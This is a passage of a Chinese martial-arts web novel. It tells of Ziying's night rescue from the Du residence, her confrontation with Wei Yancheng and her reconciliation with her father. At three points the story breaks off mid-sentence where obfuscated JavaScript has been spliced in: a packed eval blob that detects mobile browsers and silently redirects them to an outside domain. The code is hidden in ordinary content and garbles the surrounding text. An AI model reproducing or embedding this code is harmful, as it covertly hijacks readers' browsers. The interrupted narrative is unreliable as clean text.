楚丰一路快跑,眼看着就要穿过院墙,却听到了一片打斗之声,显是有人闯入了杜宅,听阵势,人还不少。 院墙之外,守卫们已经围住了擅闯之人,正在与之缠斗。战团中央是个女子,穿着月白衣裙,却不是紫瑛。 楚丰终于醒悟过来,来人故意扮作与紫瑛类似的模样,就是为了声东击西。哪怕自己已经多长了一个心眼,害怕跳墙之人是故布迷障,却仍是没有躲过算计。 适才在卧房之中,紫瑛定然是听到有人闯入便提前藏了起来。他着急之下没有细看,只查看了床内无人便想当然地以为人已经逃走了。 来不及再度返身去看,他随即点了一个手下,指示他立马去紫瑛卧房,一定要把房内的边边角角、上上下下,所有可以藏人的地方都查一遍。 他心里门儿清,这一会儿功夫足以让真紫瑛逃出卧房了。之所以还派人去查,只是为了去去心病。当务之急是想一想紫瑛会往哪儿跑。杜宅地方不小,即便她出得了这个园子,也不一定逃得出这偌大宅院。 楚丰稳住心神,向外间大喝:“张三、王五,你们带齐弟兄跟我走。其余人,务必抓住这几个贼人!” 张三、王五的小队立刻从混战中抽身。 “紫瑛姑娘跑了,但应该还没出宅子。张三,你去花园,务必仔细搜查!” 张三领命离去。楚丰则带着王五这队直奔杜宅西跨院。杜宅的布局简单,分前后院,后院有花园,是主人居住休闲之所,紫瑛便住在其中,这几日守卫主要盯梢的也是此处。 花园以西还有一个跨院,以前也是住人的地方。但后来杜家人丁渐少,那里便冲作了诸般杂用之地,如浣衣、养马、储藏旧物等等。到了晚间几乎空无一人。 不仅如此,西跨院外边是一条极偏僻的狭长巷道,背离主街,别说三更半夜,就是放在白天,那里也不见得有人经过。 楚丰判断,紫瑛逃出卧房后,趁着大批守卫被引至外院的机会,只会跑向两个地方。 一个是花园,花园里树木众多,又有假山亭台,是个躲藏的好去处,如果紫瑛足够聪明,便会再用一招调虎离山,在那里找个地方先躲起来,等到守卫们寻了一夜确信她已经跑了出去,就会放松警惕。届时她再往外逃或许就容易多了。 第二个可能便是经西跨院逃走,如果她不想耽搁,要立刻离开,这条路径到了晚间少有人出没,她才有顺利逃出去的可能。 唯一的隐忧是,紫瑛到底和适才那伙人有没有勾连?园中守卫都是他亲自调教,极为机敏,人数又多,若有人进到园中不会所有人都毫无察觉。可若说二者没有联系,紫瑛只是听到动静便想到出逃的计策,似乎也很难让人相信。 事到如今,这个疑影儿也只能先暂且放下,只要全宅之人各司其职,自己的推算没有问题,不怕拿不到紫瑛。 内院中喊声四起,杜宅各处的下人们都被惊醒,很快宅中所有烛火都点了起来,值守之人也都睁大了眼睛,如此便越发不利于紫瑛外逃。楚丰心里更加安定,一路带着人来到了宅子最西端、只与外间巷道有一墙之隔的一所极小的院子。 此处无人值守,这时也没有光亮,王五手中的火把是唯一的光源。这一路上,除了偶有几个下人赶往内院,他们并未发现任何异常。 如此说来,紫瑛果真没有往这里来?但他还是让王五几人认认真真将小院的每个角落都搜了一遍。正当他们确认此间无人,准备离开之时,一个黑影从后侧袭来。 “有人!”楚丰大叫一声便立刻退却。王五的小队马上围拢过来。 然而那个黑影只出现了一瞬便立刻消失,被围在当中的只有楚丰一人。十个守卫你望着我我看着你,脸上都是震惊。 就在这时,墙外升起一簇烟火,直冲天空。楚丰一见便知是江湖人常用来标记位置的示警烟花。 “不好,有人要从这里闯进来!”楚丰心中警铃大作,正准备吩咐王五,那一道黑影再次自众人身后掠过,因为速度快得惊人,即便有火把照亮,众人仍旧辨不清他的面容。 楚丰在这群人中功夫最高,瞅准了黑影消失的方向立刻跃出,刚跑进黑暗之中,便突然闻到一股异香,还好他应变快,旋即捂住口鼻,生怕这是什么毒粉迷药之类的东西。 不过跟着他往院门跑的几个手下就没有这份机警了,五个人中有三个齐刷刷倒地,其中就有举着火把的王五,剩下五个人听到动静也立马追了过来。 “捂住口鼻!”楚丰急道。 黑暗中,剩余的八个人均用一只袖子将下半张脸蒙住,警惕地朝四处张望。 可是这个黑影似乎故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14328570|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意要戏耍他们一般,再次从他们身后一闪而过。 楚丰早已没了刚刚的镇定,推搡着离自己最近的守卫:“快去叫人,再叫一队人来!还有火,要多多的火把!” 那人立时向外跑,却在跑出去五步之后被人击倒在了地上,登时没了声息。 众人心中的惊惧更盛,楚丰又点了四个人,还和刚才一样的吩咐,但这四人没有立即行动,都有些犹豫。 楚丰气急道:“对手只有一人,只因隐于暗处才能偷袭得手。你们有四个,怕什么!记住,哪怕只有一个能跑出去,都必须赶紧去给我把人叫过来!” 四人这才背靠着背小心往外走。或许楚丰真的算对了,他们并未遇到任何阻碍,顺利地通过了刚才那人的尸体,走得远了就马上跑起来。 楚丰松了一口气,和剩下的两个护卫仍然警惕着周围的动静。 便在此时,一道劲风自墙外而来,楚丰本能地闪避,紧接着一左一右两个护卫皆暴毙而亡。他还没看清楚来人是谁,下一刻便胸口中掌,颓然倒地,眼看着就要没有活气儿了。 这时,刚才那道黑影才再度出现,身边还多了一个女子,速度也没有之前那么快。 “多谢引路!”韩仲昌冲着躺在地上只有眼睛还睁着的楚丰说了一句,携住紫瑛的手便往外墙方向走。 文远骥看了一眼完好无缺的紫瑛,悬了许久的心终于放下。 “劳你先带她走,我去看看珺翊他们。” 韩仲昌点头,不再耽搁,即刻带着紫瑛跃出了外墙。 ************************* 恐怕楚丰死前都没想明白,这一出救人的大戏是如何上演的。 原来,紫瑛今日外出,就是为了传递消息,让长风镖局的人来救她。 在贺家庄时,闲谈中齐熙宁曾对紫瑛提起,自己的母亲宋式在金陵有许多产业,聚丰楼便是其中之一。还告诉她,聚丰楼的掌柜实际上也是江湖人,长风镖局的一些消息来源便是他。 紫瑛这才想出了通过聚丰楼把自己被困需要人救的信息传出去的办法。她提前写了一张极小的纸条,上面只有“杜困白衣夜袭;钟山寺救稚子”十二个字。 她故意把掌柜的叫来,当着他的面扒拉八宝鸭的肚子,显露出她刚刚塞进去的那一团纸条,再暗示他,自己和他的东家相熟。即便掌故的当时不明白她的意思,至少也会把纸条收走去看一眼。只要他看过,必定会把纸条上的话传到长风镖局。 看到这几个字,再听闻聚丰楼掌柜的对紫瑛的形貌和她身边扈从众多且都会武的描绘,齐熙宁很快就领会了紫瑛的意思:她被困在杜宅中不得自由,希望他们派人去救她。至于白衣,或许紫瑛想告诉她,救人的时候穿上白衣可以迷惑守卫。 这是因为,在贺家时,熙宁曾穿过紫瑛的衣服,当时江珺翊只看到背影,还以为她便是紫瑛呢。 她与紫瑛身形相仿,若是做类似打扮,在夜色中或可以假乱真,行李代桃僵之计。这便有了夜袭一开始齐熙宁着白裙翻墙那一幕。 202. 陈仓(二) 至于“钟山寺救孩子”,紫瑛同齐熙宁提过她和江珺翊遇到小山匪的故事。回到金陵后。齐熙宁还问过齐雅雯是不是收留了这些孩子,齐雅雯只说没这回事,她也就没再打听,以为是杜家不缺银两,或许杜彦成自己把这些孩子养起来了呢。 如今再一想,她便马上明白,紫瑛发现这些孩子被伪装成好人的魏彦成关在钟山的一座寺庙里,也需要他们设法营救。 齐熙宁立刻向母亲宋氏解释此中细节。彼时齐建霄尚未归家,宋氏便着人请来冉宗杰商议。 冉宗杰性子谨慎,听完齐熙宁的叙述,建议最好先派人去钟山及杜宅两处详加勘察。 杜宅那边,既然紫瑛明说了夜袭,那就意味着宅中必定守卫严密,只有到了三更半夜才会现出漏洞。如今先不急着救人,需得先了解杜宅内当前是何情形才能详细打算。 钟山上的情况未明,尚需弄清紫瑛所说的寺庙在哪、里面有多少守卫,同时也要确保那里的营救不会惹来敌人警觉,影响到紫瑛这一边才好。 宋氏很是欣赏他的持重,请他立刻按照适才说的去办。 冉宗杰带了一个手下,亲自来到钟山,发现了一所寺门紧闭,亦无香火的小寺。他只上寺外五步远的一株大树看了一眼,便发现了十来个岁数不一的孩童,想来便是那群小山匪。 寺中沙弥各个会武,当是魏彦成豢养的打手所扮,不过数量有限,只要派几个好手前来,拿住这几人不成问题。 冉宗杰立刻让手下去镖局回禀宋氏,自己则蹲守在寺外隐蔽之处。他亲眼看着杜家的马车进去又出来,并不清楚车上是谁,有多少人马,庆幸长风镖局的人没有贸贸然闯进去。 杜宅马车下山后一段时间,增援才赶到。冉宗杰依照寺内看守的位置,指挥自己人悄摸散在院外对应之处,布置妥当便一声令下,所有人一齐跃入墙内,打了对方一个措手不及。 寺中守卫死的死,伤的伤,很快被全部拿下。冉宗杰这才找到僧房里聚在一处惊恐不已的孩子们。其中一个少年拿着一把大刀,竟也杀死了两个趁乱跑入僧房试图加害孩子们的打手。 这个少年便是刘从毅,他是被杜宅的马车带进寺院的。 前天晚上,从他这儿,紫瑛除了打听到魏彦成对他的逼迫,还得知原先与他同在一处的打手们都被派到了杜宅,而他则因为功夫一般、又同紫瑛有旧,被派到了惠成商行干些力气活。片刻前楚丰就是在商行里找到了夜宿在那里的他。 虽然他极想上钟山去看望孩子们和他的两个弟兄,但魏彦成明令禁止他前去,有了上一回的教训,他哪儿敢再触怒魏彦成。 紫瑛听罢,略一动脑便想到了办法。今日楚丰等守卫跟着她进入惠成商行,车被停放在商行之外,刘从毅借着搬货时休息的空挡,偷偷溜到门口,扒在了车板之下。 紫瑛故意买了很多吃重的物件,就是为了让车子重一些,从而掩盖多了一个人的事实。刘从毅就是这样不费吹灰之力(当然,扒车子也不容易)地进入了寺内。他的身上,还带着两枚王三山送给紫瑛的百忧解。 而韩仲昌,实则一直在跟踪紫瑛。 骆雁声深谋远虑,遣去贺家庄和天魄门送信便是韩仲昌。文远骥看了信,得知杜彦成很可能是魏菘泽的儿子,必然要多设一重保障。 于是,自己带了人和紫瑛与杜彦成同行,韩仲昌则悄悄尾随。当天魄门诸人中毒被抓时,他也没有现身,而是跟上押送紫瑛的马车,一路跟到了杜宅。 然而杜宅内守卫极其严密,又到处是下人,他轻功绝佳自然能来去自如,杀上一两个人不成问题,但想要带一个人走就没有那么容易了。 今日紫瑛外出,韩仲昌继续尾随,自然看到了在商行门口扒车和在钟山小庙内下车的刘从毅。 刘从毅从车底溜下来时差点儿被寺中打手发觉,还是韩仲昌扔了个石子儿到相反方向才帮他引开注意。 在此过程中,他也发现了寺外秘密探头的冉宗杰,但他并不认得。内外皆有异动,似乎都是冲着此处来的,他没有更多信息,只能猜测是魏彦成的对手要故意与他为难。 正好他势单力薄,若想救出紫璇便需要援手,于是他并没有继续跟着杜宅的马车下山,而是在暗处目睹了冉宗杰的人去而复返并救出寺中孩童后,一路跟在后头,亲眼看着他们将孩子带入了长风镖局。 他记起骆雁声走之前除了安排自己向贺家及太白山送信外,还让陆文渊给齐建霄也送了一封信。这或许说明,齐建霄同文远骥有交情,说不定愿意帮这个忙。于是他立刻自报家门,求见总镖头。 齐建霄并不在内,是冉宗杰接待了他,韩仲昌认出刚才救人的正是此人,继而向他吐露真情。 冉宗杰大喜过望。适才他正与宋氏、齐熙宁等人商量晚上要如何救出紫瑛,却苦于杜宅占地大,他们又不敢打草惊蛇,直到现在也还弄不清内里的守卫情况,不敢贸然行动。 韩仲昌轻功好,无论是杜宅内部情形还是紫瑛如今的位置都一清二楚,还可以深入其中以为内应。有他在,突入杜宅的可能性便大了许多。 傍晚时分,他们还未出发,齐建霄便遣人先头来报讯,说他们已经救出紫璇,正和文门主一道儿回金陵。如此,救人的队伍便又多了几名好手,胜算更高。 文远骥等人到了之后,众人一起商议,终于赶在子夜之前定下了声东击西、金蝉脱壳的计策。 ********************** 文远骥顺着火光和打斗之声赶至外院,途中还解决掉了被楚丰最后调来的那一小队人马。 齐熙宁正与一名守卫打得难解难分,江珺翊在她身边不远处,一面对敌一面关切着她那边的局势。稍远一些,齐建霄、冉宗杰,带着长风镖局众人以及陆文渊也正在对敌,牢牢占据着上风。 杜宅守卫见形势越来越不利于己方,首领楚丰又不见人,不免有些慌乱。但一想到若自己抵挡不住攻势,把人放进去救走了紫瑛,少主回来必然惩之以重刑,便不敢懈怠,急忙打起十二分精神勉力支持。 齐熙宁刚打退一个守卫,正欲转身,却不想脚下一滑,立时便失了重心。另一个守卫眼尖瞥见,立刻撇下与他缠斗之人,纵身扑了过来。 江珺翊见状,随即跃起,左手去拉正往后倒的齐熙宁,右手执剑插到那人与齐熙宁之间,将内力贯于剑身,猛地拍向他前胸。 那人抵受不住退开些许,又飞速再次扑上,而先前与江珺翊缠斗的两人和被齐熙宁打退的一人也与此刻同时袭来,江珺翊一面将齐熙宁拉向自己身后,一面横剑在胸,使一招横扫千军欲一次性结果了他们。 然而这一剑因他要分出一半神思护住齐熙宁,出剑没能迅捷到极致,便只砍伤了三人。第四人躲过剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14340505|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锋,跳起半尺从他身后劈下。千钧一发之际,文远骥及时赶到,一掌便结果了他。 “齐兄、冉兄,陆小兄弟,人已经救走,我们也撤!” 文远骥脚不停驻,又出手黜落离自己最近的两个守卫。齐建霄听到他的呼叫,大喊:“撤退!”长风镖局诸人便立刻向杜宅外墙退避。 齐建霄、文远骥和陆文渊三人垫后,各自掌风不断,阻住了试图追上来的守卫们。 然而,事情进行得并没有他们预想的顺利。 冉宗杰在前引路,本已到达院墙,却猝然从外面涌进来一批人,见到他们提刀就砍。长风镖局中两人受伤,其余人不得不再举武器,抵挡来人的攻势。 文远骥跃众上前,以万夫莫当之势干掉了几个冲在最前面的敌手。来人见他如此勇悍,不由得倒吸一口冷气,刚翻入墙内的那一股锐气顿时打了折扣。 在他们之后,魏彦成缓缓步出,一抬手,随他而来的扈从和后方的杜宅守卫同时退后。 从无锡奔驰金陵的途中,他便意识到文远骥或许也会来金陵救女儿。于是加力鞭笞马儿,期望到的越早越好。 但他心中仍存着侥幸,一是文远骥没那么重视这个女儿,行动或许不够迅速;二来他在宅中布置的守卫众多,紫瑛的所在在庭院深处,只是些许几个高手是无法将人救出的。 因此,当他赶至杜宅之外,听到里面正在打斗时,只当是是有人闯入了外院,守卫们正在抵抗,根本没有料到此时此刻紫瑛已经出了杜宅。 “文远骥,”魏彦成身后亮起火把,便于他看清领头之人,“你来得好快!” “你将我女儿囚在此处,我敢不快些来么?” “哼!”魏彦成忍不住发出冷笑,“别试图把自己说成是慈父模样,你对紫瑛怎么样,我可清楚得很。” “瑛儿是我的女儿,我来救她有何不对?” “救她?她被我放在这儿足足三日,你怎么今日才来,你不怕这三日中我将她折磨致死吗?!” “我为何现在才来,你该是最清楚的吧?” “对对对,”魏彦成笑着走进了几步,这样文远骥便也可以看到他脸上的表情,只见他神情充满鄙夷,似乎对自己颇多怨恨,“我怎么能不清楚呢,你另一个女儿,哪怕不是你亲生的,也比紫瑛要高贵几分,必然要先确保她的安全。就因为她是你心爱的女人生的!” “你是在骂我厚此薄彼吗?” “难道不是吗?从小到大,你给另一个女儿的关注远远大于紫瑛,紫瑛只能百般讨好你,还为了让你开心、多喜欢她一点儿,不得不去讨好自己的姐妹……这些你敢否认吗?” 魏彦成所说的每个字都好像是他射向文远骥的武器,又快又密,还用了极大力气。 文远骥当然不知他为何如此介意此事,但也能感受到他是真切地在为紫瑛鸣不平。想起总是活泼贴心,似乎从未对任何人发过脾气倒过苦水的大女儿,他不由得点了点头,是啊,自己以往的确是过于忽略她了。 魏彦成见他不语凝思,以为他没脸回话,便继续道:“既然你不配当紫瑛的父亲,不如趁早撒开手。我才是真正爱她的那个人,我才能让她幸福圆满,快快乐乐地度过……” “不!你不能!” 紫瑛的声音自墙外响起,魏彦成立刻回头,文远骥等人也伸长了脖子向远处看去。 203. 了断 韩仲昌带着紫瑛本已向着长风镖局的方向离开,却恰好在街角看到魏彦成带着扈从赶往杜宅。 经历过上一遭魏彦成的突然发难,紫瑛不免担心文远骥的安危,是以央求韩仲昌带她跟上去。 魏彦成带着手下跃入墙内,韩仲昌和紫瑛摸到墙边,听到了他和文远骥的对答。当魏彦成信誓旦旦说自己才是最爱她的人之时,紫瑛终于忍耐不住,开口驳斥了他。 既已现身,她也想趁此机会和魏彦成好好做个了断。韩仲昌略一用力,带着她落到了文远骥身前。 眼前是自己一路上渴望尽早见面的紫瑛,魏彦成不由得又踏上两步,想牵住她手。却见紫瑛立即向后退开,对他避如蛇蝎。 他这才意识到,她自墙外而来,显然是已经被人救走。于是,因看到紫瑛而露出的些许喜悦和柔情目光立刻冷却下来。 “你要离开我?” 他想尽可能保持冷静,却还是在这句话的尾音泄露出些许颤抖。 “不然呢,等着被你关上一辈子吗?” 面对他,紫瑛也有一些哽咽。 “你误解我了,我不是要关着你,我只是想让你留在我身边。我承诺过你,要一辈子呵护你,再也不让你受一点儿委屈。” “呵!”听到这儿,紫瑛不由得发出冷笑,“你所谓毫不委屈的生活,就是被你圈养在这儿,做你的解语花、金丝雀吗?” “我……” 魏彦成瞧着她因为气极而有些狰狞的面容,一时间有些语塞。 “那我明确告诉你,”紫瑛忍住难过,尽可能大声道,“我不愿意!我不喜欢被人圈养,没有人喜欢失去自由!” “可我……我是真心爱你,想娶……” “够了!”紫瑛大喊道,“爱我?利用我的信任接近我爹,给他下毒,这叫爱我?掳走我的妹妹欲不利于她,这也是爱我?明知我在乎那帮孩子,却还囚禁他们下毒逼迫他们,难道也是出于爱我?!!你会爱一个利用你、欺瞒你、害你所爱之人的人吗?” 一直在后方默默听着的齐熙宁,此刻也按捺不住气愤,开口骂道:“说得好!你的喜欢和爱根本不值一提,想用几句屁话就迷惑紫瑛姐姐,当她是没心没肺的傻子吗!” 魏彦成额上青筋暴起,又不好对着紫瑛发脾气,便将怒火转移到了敢帮她说话的齐熙宁身上:“齐熙宁!把你那一套小姐脾气收起来,否则……” “否则什么!”齐建霄马上站了出来,将女儿护在身后。 魏彦成立马熄火,可神色依旧不服。 “熙宁姑娘不平则鸣,所言句句在理。同为男人,对魏公子这种‘爱人’的手段可不敢恭维,只怕是说出去也会贻笑大方!”陆文渊同样看不下去,帮腔道。 “你算是什么东西!竟敢耻笑我!” 齐建霄在金陵极其左近颇有声望,魏彦成自然不敢和他叫板,但陆文渊无门无派,也不是什么江湖上的成名高手,魏彦成便不把他放在眼里。 “陆某虽是一介无名小卒,却也知道不得强迫他人,难道魏公子不知?” 对于魏彦成的轻蔑,陆文渊并不在意,仍是带着轻笑回应。 魏彦成咬住后槽牙,正要发作,文远骥的声音再度响起:“既然瑛儿不愿待在此处,那我等便告辞了。” “不行!他不能走!”几乎是出于本能,反对的话脱口而出,魏彦成将手高高举起,两边的手下顿时围拢了过来。 “杜彦成,聚在这里的要么是我长风镖局的人,要么是长风镖局的好朋友,适才在黑暗黑暗之中难辨敌我,你的人不小心伤了我们两个,我暂不与你计较。若你再敢伤了他们之中的任何人,长风镖局必不与你干休!” 魏彦成咬牙怒视着他,不肯退一步。 齐建霄又道:“杜家商号买卖虽大,却也无法在金陵商场上横行霸道。若你还在乎你母亲辛苦打拼下来的这幅家业,我劝你最好别和我作对。我夫人定然也不会放任她的丈夫女儿被人欺凌。” 后面这段话更具威胁,宋家的在商场上势力不亚于杜家,且打通了官府那边的关系,的确得罪不起。魏彦成若想保住在魏崧泽那边的地位,绝不能少了他身后这层势力。 紫瑛直视着他的眼睛,目中满是厌恶,这令魏彦成很是恼怒。但此时此刻,他贸然出手不但没有胜算,还会招惹宋家,于己不利。 没关系,只要我拿下宝藏和天魄门,紫瑛就还是我的!他对自己说道,继而无奈回收,手下纷纷撤向两侧。 文远骥双手作掌,隔空向面前外墙推出,一段白墙轰然倒塌,恰好便是可供人出入的门户。 紫瑛阔步向外,路过魏彦成时头都没有偏转一下。在她之后,江珺翊、陆文渊等人也快速步出了杜宅。 “文远骥!” 文远骥走在最后,脚尚未迈出杜宅,就听到魏彦成冲自己吼了一声。 他眼睁睁看着已入瓮中的文远骥就这样大刺刺地走了出去,心中不甘:“你别得意!我们之间的恩怨还未了解。” 文远骥转过半个身子:“难道说,事到如今魏菘泽还不肯放弃宝藏?” 说到魏菘泽,魏彦成的神色不自觉地躲闪了一下:“不光是宝藏,你的门主之位也得交出来。” 文远骥嗤笑出声:“好,那文某便在太白山恭候你父子二人大驾!” 魏彦成又转向停步看着自己的齐建霄:“齐总镖头,此乃我天魄门内部纠葛,长风镖局应当不会干涉吧?” 他的意思再明白不过,齐建霄深吸了一口气,淡然开口:“那是自然。” ****************** 齐熙宁在打斗中受了外伤,一离开杜宅她便喊起痛来。齐建霄和江珺翊同时上前,同时伸手,同时着急道:“我来看看。” 这场面着实惊掉了文远骥的下巴,原来这小子……他心中暗笑,没有发话。紫瑛虽在沉思之中,见此情景也不免勾了勾嘴角。陆文渊同珺翊同在长风镖局半月有余,二人之间的亲密模样见过不少,对此并不惊讶,只是好奇接下来会发生什么。 只见齐熙宁将受伤的小臂伸向珺翊,指着上面的两寸有余的伤口道:“那群打手就没打算让我活命,你看这伤口有多深!” 江珺翊小心翼翼地捧着她的手臂,将脸凑上去细看,点头道:“最深处足有一分,虽说长风镖局不缺上好的金疮药,但恐怕会留疤。” “那可不成!” “你别急呀!”江珺翊立刻抬头,对上此时眼尾嘴角露出些许娇俏的齐熙宁,“我们去问问王三山老前辈,之前瑛儿肩头受伤却未留疤,据说就是他老人家的功劳。” “是吧,瑛儿?”他又大声询问紫瑛,紫瑛点了点头,“王老前辈不光是制毒高手,医道亦是不俗,定不会让你留下疤痕的。” “那你替我去求他老人家。”齐熙宁的眼睛依旧只看着江珺翊一人。 齐建霄被晾了半响,心里不痛快,猛地咳嗽了两声,想让女儿矜持一些。然而齐熙宁根本不理会他的打岔,自顾自地牵起江珺翊的手往前走了。 齐建霄的脸登时黑如锅底,陆文渊惊讶不已,谁能料到名震江南的齐总镖头竟也有这副面孔。。 **** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347671|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' *************** 长风镖局在一日之中多了快二十个人,既有老又有小,一下子变得热闹非凡。 除了燕山派子弟三人,余下的孩子们都以为是原先寄居的寺庙遭了盗匪,所以要挪去新的地方。这些孩子们年纪尚小,刘从毅不想他们过早经历江湖险恶,便没有将真情告知。 宋氏早在他们到来之前就做好了准备,不仅命人打扫出了两间极大的客房,准备了新的被褥,还让人早早备下了肉菜点心。 刚刚到来时孩子们不免还有些紧张,一双双眼睛瞪得大大的瞧向各处,手和脚却一动也不敢动。可一见到各色佳肴和新鲜的吃食,这份紧张就立刻被抛到了九霄云外,再加上一旁的宋氏和善亲切、有问必答,孩子们很快就喜欢上了这里。 刘从毅带着两个兄弟,向宋氏郑重行礼,以燕山派遗孤的名义感谢她仗义援手,还如此体恤孩子们。 宋氏摇头轻笑:“我不过是动动嘴皮子罢了,出力的都是各位镖头和我家的厨娘,你们要谢呀也该谢谢他们几个。” 刘从毅同两个兄弟对视一眼,颇有些窘迫道:“谢夫人指点,晚辈知道了,我们一定会的!” “哎呀,我不过是说笑两句,你怎么认了真?” 宋氏笑容明媚,如春风般和煦,三个孩子小小年纪就尝尽了人间疾苦,一点点善意就足以让他们红了眼眶。 看到他们眼中含泪,宋氏也颇为动容,她摸了摸三个孩子的脑袋,柔声道:“比起说一句谢谢,我更希望你们永远记得危难时有人帮过你们。等你们也可以保护别人、照应别人的时候,不要吝啬才好。” 三人均无声地用力点头。 “好了,未来的事暂且放下,快去吃点东西吧,熙宁他们去想办法救文门主的女儿了,咱们都得吃得饱饱的,等他们凯旋!” “好!” 恰在此时,乐青澜带着王三山、章煦和齐雅雯也到了长风镖局。 紫璇假装跳湖逃跑,将魏宅内的守卫引去,骆雁声趁机救出了王三山师徒,将他们带到了事先与乐青澜相约的接应之所,在那里遇上了将齐雅雯带过去的苏茂霖和瑾瑜。 乐青澜将三人引至提前准备好的马车,便一路疾驰,先去了一处隐秘之所暂避。天魄门众人脱险后,骆雁声将真情说出,齐建霄便派了一队人去接,直到此时方到。 乐青澜洒脱,齐雅雯率直,都与王三山脾气相投,又有章煦在一旁插科打诨,短短几个时辰,四人已经处成了无话不说的忘年交。听闻紫璇等人已被救出,四人皆兴奋不已。 “我就说嘛,有我师父和紫璇在,肯定没问题的!” 乐青澜眉飞色舞,王三山也大笑着附和:“这下魏菘泽那小子可笑不出来!” 齐雅雯只勉强笑了两声,随后就立刻向来人问道:“瑾瑜呢?你们可见到他了?” “瑾瑜似乎和他的父亲早就逃了,我们出来时二人都不在。” “逃了?”齐雅雯蹙眉沉吟,不由得担心起来。 这番对话被章煦听到,他凑过来,向齐雅雯道:“夫人不如想一想,方兄若成功逃出,会去何处躲避,再托人去问一问便知端详。” “你说的很对,”齐雅雯茅塞顿开:“第一个可能的地方便是湖州。等到了金陵,我让哥哥赶紧派人去湖州打听。” 第二日,齐建霄派去的人尚未回话,杨邠便亲自来了,还带来了方乂安的死讯。 她与方乂安和离多年,早就没了夫妻感情,可乍闻他已离世的消息,还是不由得呆愣了片刻。怅惘之余,也只能回一句“知道了”。 204. 释怀(一) 自离开杜宅后,紫瑛大部分时候都神色木然,不辨情绪。文远骥不无担心地望着女儿的背影,却不知要如何劝解。魏彦成适才说的那些话再度浮现脑海,他不由得捏了捏拳头。 他虽非有意厚此薄彼,但对两个女儿的关心的确存在差别。出于对晗月的愧疚,也因为紫璇特殊的身份,从小他便更关注紫璇一些,她的身体、她的武艺,乃至于母亲骤然离世又客居于许淑平处带来的不快。而这些,通通都落入了紫瑛的眼睛里。 紫瑛只比紫璇大半岁,亲生母亲离世更早,虽然有晗月填补她对于母女亲情的渴望,但想必还是和亲娘有所不同吧。更何况,晗月亡故,她同样也失去了日日相对,呵护自己的母亲,自己却似乎从未想到这一点。 虽然紫瑛一直在自己身边,但他并没有关心过她,她是不是开心,有没有困难他都一概不知。魏彦成能够轻易哄骗于她,或许很大程度上就是因为自己给紫瑛的爱护不够。 想到这儿,文远骥深深叹了一口气,做门主,他或许还能勉强过关,做父亲,实在是一败涂地。 他们一行人到达长风镖局时早已过了丑时,这一整天都是在刀光剑影中度过的,所有人都疲倦不堪。宋氏体谅他们辛苦,只说了一两句话就安排他们各自去休息。 天魄门的三人被安排在了同一个院落中,江珺翊要看着齐熙宁裹伤,文家父女俩便先随仆役去往住处。 一路上,二人都缄默无声,一直到房门口,引路的仆役退下,文远骥才叫住正要推门的紫瑛。 “瑛儿……” 紫瑛回头,有些茫然地看着父亲。 “璇儿已经安全了,你不要太担心。” 紫瑛点头:“知道了。” “这次的事……”文远骥顿了顿,“不是你的错,你无需自责……” 瞧着紫瑛眼中立马蕴起泪水,他加快语速:“魏家父子要探听消息,必然会设法蒙蔽我们。你只是恰好被他们选中了而已,就算不是你,也有可能是璇儿、珺翊或是天魄门里的其他人……” “可他偏偏选中了我,不正说明我又无知又愚蠢么?” 忍着的时候尚能装作无事发生,可一旦哭起来眼泪就再也止不住。紫瑛泪如雨下,已不敢再看文远骥的眼睛。 文远骥积攒了许久的愧疚此刻大刀了顶峰,他有些别扭地将女儿抱在怀里,手覆上她的后脑,轻声道:“你并不无知,也不可能愚蠢,否则也不会在那么短的时间里就想到联络外援的办法,还帮了那群孩子也逃出升天。魏彦成利用你的单纯善良来实现自己的阴谋,是他的错,与你无关。你被骗了,你才是受害者,若我们还要把错都归到受害者的头上,天理何在?” 紫瑛听了,哭得更加大声。文远骥眼眶泛红,偷偷抹掉眼角的一滴泪,继续道:“以往是爹做得不好,让你受委屈了。爹想办法弥补你,好不好?” 紫瑛没有出声,只是在文远骥的怀抱中使劲点了两下头。 ********************* 第二天,珺翊果真去求了王三山,让他帮忙调配可以祛疤的“复颜膏”。王三山脱离苦海,正是兴致高昂之际,非但没有拒绝,当天就开列了方子,和章煦一起操作起来。 文远骥担心魏家父子还会找王三山的麻烦,便邀他同去太白山,王三山也觉得甚好。不过,因为复颜膏的事儿,归期就得往后推两天。 借着这个机会,齐熙宁也能多和紫瑛说会儿话。 睡得晚,又痛哭过一场,紫瑛的眼睛比平日了红了不少,若仔细看,还能发现两只眼睛都有些微微肿胀。 齐熙宁盯着她看了两眼,坐下来:“昨晚上睡得不好么?” “挺好的,齐夫人备下的铺盖都是极好的,怎么会睡不好?”紫瑛心虚不敢看她的眼睛,手指正一圈一圈地绞着自己的衣服。 